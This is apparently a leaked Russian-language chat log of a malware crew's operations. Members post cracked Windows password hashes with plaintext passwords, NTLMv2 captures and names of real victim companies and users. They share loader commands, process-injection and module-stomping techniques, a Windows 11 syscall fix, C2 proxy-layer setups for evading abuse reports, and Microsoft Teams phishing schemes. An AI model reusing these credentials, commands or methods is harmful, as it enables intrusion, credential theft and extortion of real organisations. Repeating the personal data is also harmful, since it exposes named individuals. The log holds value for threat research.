$DCC2$10240#U170009#fada2de97c21f016f1c810b16392a475

щас буду переводить их на новый гейт, чтобы стучали уже туда

$DCC2$10240#A17ADM1#0718f8ad4d93be7c57c07721345dbbb3

надо инфру походу обновить

уже почти год этим сервакам

$DCC2$10240#u170009#fada2de97c21f016f1c810b16392a475:Corona20

щас попросил у них, чтобы посоветовали мне где я могу разместить это

> <@username777:matrix.bestflowers247.online> $DCC2$10240#u170009#fada2de97c21f016f1c810b16392a475:Corona20

8a6048be4b096e3bc7bc189e40bc7db2

сборщик xll начал собирать ?

$DCC2$10240#a17adm1#0718f8ad4d93be7c57c07721345dbbb3:Sintra#2020

> <@username777:matrix.bestflowers247.online> $DCC2$10240#a17adm1#0718f8ad4d93be7c57c07721345dbbb3:Sintra#2020

> <@usernamezz:matrix.bestflowers247.online> `[PC-2] francesca.campana/1568 - 2 админа, 2 DC, трастов нет 398_pc, мыльников нет`

ты просылал на бота W ?

image.png

переключил все на 1 гейт

норм?

на нем есть 3 прокси

остальные переключатся позже чутка

> <@usernamegg:matrix.bestflowers247.online> вот это плохо что абузы летят

rundll32 dll.dll, HUF_inc_var

ну это на прокладку всего лишь

им еще 2 сервака надо преодалеть, чтобы дойти до админки

ну до реально C2 севрера

это так мишура

ну видимо на них прокси боты стучат, поэтому и нашли, а так я щас чутка переделал инфру, нормально будет

там только 10 винда летит у тебя?

11 пока не стучит вроде

это моя саамая первая прокладка была

попорбую вечером на него прослать..

на твоих ботов никак не влияет это

> <@usernamegg:matrix.bestflowers247.online> когда будет 11 винда лететь ?

так с лнк вроде тоже 10-ки идут

в основном

+

так куда мы в итоге слать то будем?

у вас на квака много абуз летело?

ну на прокладки

ок

тогда мелкору нужно сделать лнк под анубис

там думаю запуск другой

ну у меня уже почти все готово под 11

скоро ему линки еще выдам

это не мое

ага

принял

окей

щас

окей

щас сделаю

DOMAIN / 595M / rank.com / UK / https://www.zoominfo.com/c/the-rank-group-plc/66274001

чекни плиз

вроде в домене

> <@usernamegg:matrix.bestflowers247.online> rundll32 loader.dll scab /k pechene634

> <@usernamegg:matrix.bestflowers247.online> я приятно удивлен

> <@usernamegg:matrix.bestflowers247.online> 13796

а то очень неудобно себя чувствую, что с доком такая херня

с тестовой нагрузкой все окей работало, а вот когда добаляешь реальную, начинает каша

днс, подождать может чуть

++

ожил

удалось?

получил ссылки от лапы, скоро скину ему 3к файлов

работала

это же dns кобы

аа

$DCC2$10240#B103936#b878153c3c3d2d94344b3bc2ecc79e24

+++

GG: [MHLX-PF0ZTY78] Gabor.Doszpoly/13796

супер

> <@usernamenn:matrix.bestflowers247.online> GG: [MHLX-PF0ZTY78] Gabor.Doszpoly/13796

захожу туда

да все стучит збс

ща оживет

нужно позвать в мету

с лоадера сразу

я же давал бины

перезалить?

DEMSF443_thread.bin

кто сидит работает в мете DE?

кикай

TT

сверни метер

уже

`[PC-RAG03] Rag03/18348 70_pc, без трастов`

он перетягивал из меты

`bazema::UPABS:1122334455667788:f39ee03c33d11fa9f33c15308a00c67f:01010000000000002593c6ed11f2d9017adee27d2b296103000000000800300030000000000000000000000000200000298bd6d9e36b87fc60895b5ccecd82645c77222afeb8614c1209612045b6dd080a0010000000000000000000000000000000000009001800550050004100420053005c00620061007a0065006d0061000000000000000000`

Пришло

да не пока не надо думаю

смысла нет, если и тут отъебнет то разницы в процессе нет

BAZEMA::UPABS:1122334455667788:f39ee03c33d11fa9f33c15308a00c67f:01010000000000002593c6ed11f2d9017adee27d2b296103000000000800300030000000000000000000000000200000298bd6d9e36b87fc60895b5ccecd82645c77222afeb8614c1209612045b6dd080a0010000000000000000000000000000000000009001800550050004100420053005c00620061007a0065006d0061000000000000000000:Bazema0001

++

выдал мелкор

вакатак у меня при скачивании

проверял с нового линка даже

мелкору сказал

Gabor.Doszpoly::INTERNAL:1122334455667788:cfa901f10c9c6c2cea4811b82de52808:0101000000000000e36b36d913f2d9011a43d1d57f7c6103000000000800300030000000000000000000000000200000ec8d5003793f462a42e9cfd26e57c90c7356a3a8fa289522cb81a935da111f000a0010000000000000000000000000000000000009002e0049004e005400450052004e0041004c005c004700610062006f0072002e0044006f0073007a0070006f006c0079000000000000000000

GG: можешь еще раз позвать?

пиздец отъебнул из за goc

молчит пока

[MHLX-PF0ZTY78] Gabor.Doszpoly/19532

3kb fil 09/28/2023 14:58:27 cert.pfx

чей серт?

где ледит?

* где лежит

кобы

C:\Users\Public

это у сетки на 500м, которая UK

так это сегодняшнее число

ты же ее взял

ну да сегодняшнее число

дак я и спрашиваю чей серт может быть она уже приходила

vj;tn rjve nxj gjpdfkb tt

* может позвали кому то ее

я с сертами ничего не делал

ее в два смыка ебут что ли уже понять не могу

она у нас не была

может это их серт

да их в C:\Users\Public

понял, а кто в итоге ее в начале крутил

в кобе или мете крутили

в мете отъебывает из за goc

в кобе тоже отъебнет

да там trend micro мозга ебет

вобще не факт что у нас доживет

> <@usernamegg:matrix.bestflowers247.online> в мету другйо процесс позвать ?

мы с $$ займемся ей, так будет безопаснее

в анубис 5 запусков, и только 1 вайт

Ок

запускаю тогда юсу?

пиздец

да, запустил, ранова то, но ладно, прошлю побольше

ну я лично не могу скачать

в DNS она приходила и от команд подыхала, выдала процессы и содержимое каталога C:\Users\Public

но и когда на европу слали

у меня тоже был вакатак

* в DNS кобе она приходила и от команд подыхала, выдала процессы и содержимое каталога C:\\Users\\Public

в DNS кобе от инжекта умерла

хуй пойми как

в Мете инжект прошел успешно, сняло NTLMv2

Вопрос есть один

а на goc отъебнуло, запросил количество пк в домене

мы город ставить будем если что?

я хуй знает как это работает, у нас не живет, там живет

две тачки позвал пришло

BPLNETLINK\PKushwaha @ NSL-6583 - вот эту ща гляну

к какой тачке?

я город разебал

что тебе именно надо

позвал ее в cob2

инжект кинул на кобу в svchost x64

Давай

Приятного

не понял

онлайн

https://www.microsoft.com/en-us/microsoft-teams/log-in

ну вот эта

ты зашел?

там бот открыт в домене

мессенджер по сути

https://www.zoominfo.com/c/finance-in-motion-gmbh/346658813

немцы

ок, чекал просто . в общем этого забери плиз

тебе надо в тимс зайти что ли?

а что за бот то

на какой день хочешь? под юсу это подойдет? или под европу надо

DE

essen.de

я пока закрепляюсь тогда

я тут убрал файлы мелкора, которые меньше 1кб весит

надо креды достать значит кого то?

проверил два разныех файла

и вроде и не палит вакатаком

посмотрим

может и не станет лучше

стучит в анубис?

> <@usernamegg:matrix.bestflowers247.online> ddiworld.com/190kk/USA

обе вне домена

ага, с лапой на связи, щас тут пытаюсь его снять

да)

бред)

800 кб файл

одна в мете только живет, в кобе не приживается)

у одной сетки там чел за ПК сидит в visual studio

не заходит пока

lf

;le rjulf pfuhepbncz

жду когда в кобу придет

мелоч там

парни подберу

почти нет

с канады только видно

еще мину 30 прошлю и буду стопать

может к пн что-нибудь новенькое нормальное вакачается

кстати, все сетки пытался сгружать?

или там осталась одна мелоч?

не пон что не работает в 4 кобе

я затестил пришло, фаервола там нет, у вас тоже таргеты были

там нет ничего

3 сетки упало и те около 5М

и сразу в офф ушли даже команду не приняли

сижу смотрю дальше

стопнул

юсы почти нет

> <@usernamegg:matrix.bestflowers247.online> но как получить доступ туда это другой вопрос

ну ребята же умеют слать

или пока они не могут каждый день слать?

ага, принял

> <@usernamegg:matrix.bestflowers247.online> отвал идет из-за дропа на диск

у меня чисто в памяти

у меня бот даже в памяти работает

я вообще на диске работаю

это дроп - инжект

то есть я создаю процесс и меняю память в этом процессе

то есть делаю свой процесс, перемещаю его в explorer.exe или в любой другой, чтобы он был родительским и потом уже меняю байт код на входной точке

палево идет именно на самой модификации процесса, поэтому инжект в уже легетимный процесс, который работает долго, хорошо работает, потому что там по сути ты не меняешь сам код в бинаре в памяти, ты можно сказать добавляешь или поток или длку

ну или модуль процесса

module stomping называется

ты кстати мелкие тоже лочишь или не трогаешь их?

```

не заходит

офнусь... буду завтра к 11

нужно все же атачем больше пробывать просылать

просто на китов атачем лучше может залететь

да

все я на связи

этот свежий

я отошел вниз

00735e6139f899b0a8dff4fc39c857b7:N!ghtlords40

+++

hi , file nyzhen na no4 segodnya

sek

da 1 , mozhno bez kripta , tolko def

скажи тогда в домене или нет плиз, помечу

у меня вылезло 1 раз дашборд, но я остался на входе

перезапускал тор 3 раза, не зашло

`/login` тут же остаюсь

Error! Active session with this user currently exists. Multiple active sessions from one user not allowed

сессию дропнуть нужно

++

ура

зашел

4to tam posmotret ?

++

HEX грузили туда длинный код

Shellcode in HEX text format

есть еще бинарник

ok

Фух, пиздец, нашел я проблему почему вин 11 не работало, майкрософт ебни тупые)

сижу дебажу, а в Win 11 сисколов теперь 505 😄

5 новых добавили

пока дебит с кредитом сложил ахирел)

ну они добавили новые API типо

проще говоря добавили 5 новых функций

у всех таблица была до 500, а сейчас они добавили еще и получается надо 505 делать

а на всех софтах почти, которые использзуют само ядро системы в обход user mode, падет

> <@usernamegg:matrix.bestflowers247.online> так и?

решил проблему

щас инжект доделаю, все оттестирую и в бой завтра

да, щас еще раз финальный тест и все

все, работает

четко все

да

ну я ее в другой поток позвал

щас тебе ее позову

билды сделаю новые, пару минут

ну вот она в общем

image.png

image.png

и вот сгрузил на нее свой тестовый шелкод

image.png

все, щас делаю билды под твой флоу и позову

Выпилили из сетки

> <@usernamehunter:matrix.bestflowers247.online> 00735e6139f899b0a8dff4fc39c857b7:N!ghtlords40

Все, запустил билдер, отпишу как запущу на тест машине

7d81f1cd9a576f6513c5c4773a9e11de:wss$farm

> <@usernamehunter:matrix.bestflowers247.online> 7d81f1cd9a576f6513c5c4773a9e11de:wss$farm

stop my all

thx

ne doshel bild

++

сделал билды, щас запущу

yt

город

Hello, ignore spamhaus its absolutely no possible, because after few alerts with no respond they block whole network and after - networks of uplink and its make a lot of problems for us and many other clients.

Кароче надо просто максимально скрывать эти прокладки, чтобы не было такого

Hello, we not allow SBL/BCL spamhaus issues.

кароче тупо IP буду менять, всегда 3 прокладки держать, и чтобы можно было быстро переезжать с 1-ой на 2-ую и так далее

Это 500 баксов просто в месяц)

> <@usernamegg:matrix.bestflowers247.online> придут обратно боты ?

щас посмотрю по стукам

> <@usernamegg:matrix.bestflowers247.online> инжект надо делать

щас быстро с тобой все проетстим

> <@usernamegg:matrix.bestflowers247.online> в рандомный процесс который запущен у бота

да, конечно, сделаю

😄

ага, квак уже свое отжил?

запустил бота, отпишу как прийдет

попробуешь в него сгрузить шк

https://i1ovfbpnlgg0hjks.tech/9568c16f-b420-43dc-8a59-f3500b0628fe/bot/19430

все, можешь грузить туда, отойду на минут 5

скоро буду

я сегодня пораньше пойду спать, а то не почти не поспал, часа 4 всего

я тут

`GCCS201352::GCCS:1122334455667788:1a5c790e4c39c7c6659e3e44e4f60697:0101000000000000657a2c2035f2d901cba1b2e550e1cbd0000000000800300030000000000000000000000000200000e5b7be26c53a87e5ea483c257ab69a4560650547201c0b4c8697592e0b2293e80a0010000000000000000000000000000000000009001e0047004300430053005c0047004300430053003200300031003300350032000000000000000000`

> <@usernamess:matrix.bestflowers247.online> `GCCS201352::GCCS:1122334455667788:1a5c790e4c39c7c6659e3e44e4f60697:0101000000000000657a2c2035f2d901cba1b2e550e1cbd0000000000800300030000000000000000000000000200000e5b7be26c53a87e5ea483c257ab69a4560650547201c0b4c8697592e0b2293e80a0010000000000000000000000000000000000009001e0047004300430053005c0047004300430053003200300031003300350032000000000000000000`

> <@usernamegg:matrix.bestflowers247.online> Windows 10 Pro

ребилды делать не надо

> <@usernamegg:matrix.bestflowers247.online> а что с инжектом ШК ?

+++

пришло?

ага, вижу стучит

+++

Перенес всех прокси ботов, через которые трафик идет на прокладки, на живую прокладку

Братец, голова уже не варит, пойду спать, завтра лучше в 6-7 утра встану и доделаю все

как раз прийдешь и мы все протестим с тобой

у меня чутка битка осталось, завтра как раз сервак еще 1 куплю и добавлю еще проксей, чтобы ранжа IP была больше

чтобы долго все жило максимально

ну эти прокси уже 2 месяца вроде в системе

ушел, добрых снов

завтра связь

да пизда айпишнику моему

надо переезжать срочно

по поводу прокладок

Просто зарегуйте клаудфлар, в сервер откройте порт 80, и также в даркгейте/клаудфлар настройте под порт 80. И огонь

45.227.252.246:33205

45.227.252.246:45957

```

da

уже заканчиваем

`\\172.16.2.100\`

instructions_read_me.txt

Привет, братец, проспал чутка, пиздец

щас доделываю быстро, чтобы быстро запустить

Включаю турбро режим

привет, что это за сервер?

не записан

не вижу твои сообщения

видишь мои сообщения?

почему-то твои в личке не расшифровываются

Привет

> <@usernamegg:matrix.bestflowers247.online> [08:19:40] SALES TEAM Support1: Здравствуйте

аа, сокс бот там

лучше не давать им доступы

аа, ок

ну уже да, сокс бот не работает

+

бро приходят зашифрованные меседжи от тебя, ты мои видишь?

сегодня думаю уже не будем слать, пусть выкачиваются пока новые письма

во теперь норм

Невозможно расшифровать сообщение

продублиркй что там было

утром ты писал

сокс бот конечно быстро отвалился, пару дней только прослали с него

я понял почему ботов мало летит у нас

айпишнику пизда

ок, подниму на новой

FILE: IMAP2509.txt

отчет

+

да и тупо не отбивает в панель

вчера уже чистую вбску пробовал

не стучала

начали разибраться с растой

и стало ясно

могу зайти на дед?

больше ничего не получилось сгрузить

?

hi

по фтп тишина?

красаучик, хотел тебя об этом как раз попросить)

ща чекну

сегодлня 3 месяца воздержания....

да

file: SMTPs2709(22k).txt

а я уже его удалил

понял

теперь не будет пароль меняться?

> <@usernamegg:matrix.bestflowers247.online> ты капильный красавчик

file: smtp Aug 1.txt

> <@usernamegg:matrix.bestflowers247.online> Здравствуйте

пон

```

а может быть что systeminfo показывает воркгруп а на самом деле он в домене?

вот последние данные от ftp7 е сли надо

но они не работают

понял, закажи тогда плиз чтоб к следующей недели сделали

бро этот у меня и у W показывал в домене

FFF 2.5kkk USA

NEW DOMAIN 2.5kkk USA

вот они оба с одной сетки

онлайн

Скоро выдадут мне новые серваки для прокладок, поставлю их, как раз к этому времени должен все доделать по инжекту

ну и ботов под прокси настрою еще скоро, будет вообще шикарно

Все, пошел дальше доделывать

набрал еще команды для проверки, скажи как освободишь пойду тестить

e5994b1a42bbbd7932f74f3335d19e85

```

e5994b1a42bbbd7932f74f3335d19e85:Spruc3g00se#

> <@usernameboy:matrix.bestflowers247.online> e5994b1a42bbbd7932f74f3335d19e85:Spruc3g00se#

KINGA.ECKEL::TT:1122334455667788:62081330c768022e604bf4e26de4c77dcc32ef7de3326272:62081330c768022e604bf4e26de4c77dcc32ef7de3326272

оба?

ща попробую новый спсооб определия домена

из консоли

бро удели минуту плиз

FFF 2.5kkk USA

эти два не домен - так?

да, отпишу

позову бота тестово и сразу отпишу

в общем способ новый рабочий вроде как , как определить домен или не домен

set | findstr /i "userdomain computername

так буду пробовать

как освободишь я попробую другие команды еще

+

еще такую команду нашел

покажет все машины в домене или будет ошибка если нет конекта к DC серверу

--------

так мы готовим переезд на новый сервер

я тебе отпишусь

и сделаем клаудфаер

можно зайти?

все добавил 2 прокладки еще, 1 болгария абузоустойчивую и 1 преднистровье ( часть молдовы не признаной )

скоро уже релиз инжекта кобы

ага, окей

да, показывал уже, так и сделаю

> <@usernamegg:matrix.bestflowers247.online> я пернес сегодня ночью этот софт на новый сервер

all_kekhash.txt

EUR_kekhash.txt

EUR_all_kekhash.txt

------------------------

Darkgate v5

----------

на след неделе апдейт

image.png

ты у расты какой shellcode инжектишь?

и x86 и x64?

да

есть

инфу нормально, файлы периодически ломается из-за того, что в абхазии тор ломается, я поднимаю раз в день

> <@usernamegg:matrix.bestflowers247.online> https://dropmefiles.com/SpW12

> <@usernamegg:matrix.bestflowers247.online> sent a file.

еще нет

у меня еще один есть , но пока не получатеся его прогрузить

хочешь скину потестить может у тебя выйдет

кароче беда, у меня x86 же бот, я могу по идее инжектить только в x32 процессы, которые запущены, а их как таковых почти нет x64 системах, а все системы x64, надо писать обертку, чтобы я мог с x64 работать точно также как и с x86

жесть

это по не так сложно делать, делал уже такое в крипте, но время затратно, где то день на это уйдет, чтобы отладить полностью

ну это оно и есть

image.png

поэтому в абхазии нельзя прокладку держать, там российский интернет

image.png

4 прокладки для фтп серверов и обязательно скажи, что должен нормально тор сервер вставать

эти прокладки будут на абхазию указывать

так процессов же нет)

некуда инжеткить

я щас ботов просмотрел

ты в DarkGate инжектишь x86 или x64?

ага

понял

а в кваке ты тоже выбирал процесс?

msi.msi

TAIM LLC

давай

давай

да

может у меня не правильно определется разрядность процесса, щас посмотрю ,пару минут

https://www.bleepingcomputer.com/news/security/microsoft-teams-phishing-attack-pushes-darkgate-malware/#:~:text=A%20new%20phishing%20campaign%20is,365%20accounts%20to%20other%20organizations.

https://www.bleepingcomputer.com/news/security/ransomware-access-broker-steals-accounts-via-microsoft-teams-phishing/

> про твой способ теперь знаю все

но собственно ты мог бы и спросить,я бы рассказал тебе)

бро почему они не платят ? компании говно?

и не все сразу приходят

отлучился... ок

не нужно тогда подписывать?

есть 2 фа, мне нужен хвнц и я накидаю еще контор

там ввели ограничение

с пересылкой из внешнего иточника если ты не в сети находишься этой

это же месенджер по тиму матрикса

если ты не в сети

тебе отрпавить нельзя

> а ты можешь купить кучу дедиков по рдп и написать скрипт который туда будет заходить и отправлять письмо через этот темс

записал, сейчас настрою

прокладку использовать из вчерашних или он сам закажет?

у нас еще 1 свободная

+

`rspreafico::PIEMME:1122334455667788:178f38993d40542089cad1e75a97bed5:01010000000000009c3aac30c8f2d901b80d6362c193039700000000080030003000000000000000000000000020000040d7050857e0924510b298da043f9b1df55fe16596bf78467b6194f10f81dc380a00100000000000000000000000000000000000090022005000490045004d004d0045005c007200730070007200650061006600690063006f000000000000000000`

https://www.zoominfo.com/c/safehold-inc/465643987

давай завтра обсудим

да

`https://www.zoominfo.com/c/westwood-holdings-group-inc/42008967 USER - взял`

хорошо

уже прикрутил частично

короче там есть пара моментов

PIEMME_kekhash.txt

почему это невозможно полностью закрыть

и как можно слать эту схему стабильно

когда закроет (для этого нужно по умолчанию галку поставить не принимать с внешних серверов) отвалятся самые не умные

сейчас у них есть просто оповщение

типо начать разговор ? этот юзер с внешней сети

понял

надо все эти диски в один объединить, он может переустановить так? а то я могу только 3 объединить

ну я и до этого понял примерно, как они шлю

вообще есть 2 ахуенные схемы

под спам и под тимс

а так до, пару раз прошлешь, и все увидят

++

круто, если бы через тимс можно было бы в разные конкторы написать, без ограничений

давай завтра обсудим?

получаеться еще прокладку под него нужно

но я создал акк тестовый, не корп, и нифига, просто так не написать сотруднику компании

я знаю как это сделать

ладно, я все же пока под тимс ничего писать не буду, потому что много в нем не прошлю

видимо ребята поэтому и просят внс от корпов

уверен что вьебать мжно практически любую будет

чтобы войти в аккаунт с того же айпишника

да-да, это вход туда

не все там так просто)

я вот пытался вытащить как делаются запросы на аврторизую

тупо защита сработала и нифига не вытащил

но запросы на отправку письма вытаскиваются

какая уязвимость?

ну ладно, ребята же умеют слать, пусть шлют

да

я пока тут на аутлук почту тестирую доставку

PIEMME_all_kekhash.txt

20й год на зеро клик

ну так-то пиздец была дыра

```

бро я знаю как разьебать всех юристов или кого там нужно

уверен что сработает

```

от ftp7 этот

давай я буду курировать это напрвление если ты хочешь реализовать

FILE: IMAP2709(65k).txt вот этот?

с него еще выкачиваются

попозже скажу

можешь этого позвать попробовать